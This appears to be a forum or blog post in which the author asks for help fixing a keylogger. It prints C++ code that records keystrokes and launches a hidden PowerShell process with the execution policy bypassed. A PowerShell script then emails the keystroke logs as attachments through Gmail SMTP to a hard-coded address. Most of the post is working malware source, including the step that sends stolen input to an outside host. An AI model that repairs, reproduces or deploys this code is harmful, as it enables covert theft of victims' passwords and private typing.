I have been studying a keylogger malware application. C++ windows app traces all the keyboard inputs from the user and record it into a text file. The app sends the text files to a gmail account. I used Windows Powershell to do it. However, it does not send emails to the account with error 259. I thought the powershell script has a problem.
Param(
[String]$Att,
[String]$Subj,
[String]$Body
)
Function Send-EMail {
Param (
[Parameter(`
Mandatory=$true)]
[String]$To,
[Parameter(`
Mandatory=$true)]
[String]$From,
[Parameter(`
Mandatory=$true)]
[String]$Password,
[Parameter(`
Mandatory=$true)]
[String]$Subject,
[Parameter(`
Mandatory=$true)]
[String]$Body,
[Parameter(`
Mandatory=$true)]
[String]$attachment
)
try
{
$Msg = New-Object System.Net.Mail.MailMessage($From, $To, $Subject, $Body)
$Srv = "smtp.gmail.com"
if ($attachment -ne $null) {
try
{
$Attachments = $attachment -split ("\:\:");
ForEach ($val in $Attachments)
{
$attch = New-Object System.Net.Mail.Attachment($val)
$Msg.Attachments.Add($attch)
}
}
catch
{
exit 2;
}
}
$Client = New-Object Net.Mail.SmtpClient($Srv, 465) #587 port for smtp.gmail.com SSL
$Client.EnableSsl = $true
$Client.Credentials = New-Object System.Net.NetworkCredential($From.Split("@")[0], $Password);
$Client.Send($Msg)
Remove-Variable -Name Client
Remove-Variable -Name Password
exit 7;
}
catch
{
exit 3;
}
} #End Function Send-EMail
try
{
Send-EMail -attachment $Att -To "ichwang@npcore.com" -Body $Body -Subject $Subj -password "**********" -From "ichwang@npcore.com"
}
catch
{
exit 4;
}
I am not sure what is the problem. Here is the C++ code to mail send code.
int SendMail(const std::string &subject, const std::string &body, const std::string &attachments)
{
bool ok;
ok = IO::MKDir(IO::GetOurPath(true));
if(!ok)
return -1;
std::string scr_path = IO::GetOurPath(true) + std::string(SCRIPT_NAME);
if(!CheckFileExists(scr_path))
ok=CreateScript();
if(!ok)
return -2;
std::string param = "-ExecutionPolicy Bypass -File \"" + scr_path + "\" -Subj \""
+ StringReplace(subject, "\"", "\\\"") +
"\" -Body \""
+ StringReplace(body, "\"", "\\\"") +
"\" -Att \"" + attachments + "\"";
SHELLEXECUTEINFO ShExecInfo = {0};
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "open";
ShExecInfo.lpFile = "powershell";
ShExecInfo.lpParameters = param.c_str();
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_HIDE;
ShExecInfo.hInstApp = NULL;
ok = (bool) ShellExecuteEx(&ShExecInfo);
if(!ok)
return -3;
WaitForSingleObject(ShExecInfo.hProcess, 7000);
DWORD exit_code = 100;
GetExitCodeProcess(ShExecInfo.hProcess, &exit_code);
m_timer.setFunction([&]()
{
WaitForSingleObject(ShExecInfo.hProcess, 60000);
GetExitCodeProcess(ShExecInfo.hProcess, &exit_code);
if((int)exit_code == STILL_ACTIVE)
TerminateProcess(ShExecInfo.hProcess, 100);
Helper::WriteAppLog("<From SendMail> Return code: " + Helper::ToString((int)exit_code));
});
m_timer.RepeatCount(1L);
m_timer.SetInterval(10L);
m_timer.Start(true);
return (int)exit_code;
}
Here is the C++ code to execute Powershell
void TimerSendMail()
{
if(keylog.empty())
return;
std::string last_file = IO::WriteLog(keylog);
if(last_file.empty())
{
Helper::WriteAppLog("File creation was not successful. Keylog '" + keylog + "'");
return;
}
int x = Mail::SendMail("Log [" + last_file + "]",
"Hi :) \n The file has been attached to this mail :)\n"
"For testing, enjoy:!" + keylog,
IO::GetOurPath(true) + last_file);
if( x != 7)
Helper::WriteAppLog("Mail was not sent! Error code: " + Helper::ToString(x));
else
keylog="";
}
I am suspicious of three functions above causing errors. If you want to look into the full source code. Here it is.
https://github.com/CPP-CProgramming/keylogger/blob/master/SendMail.h
Aucun commentaire:
Enregistrer un commentaire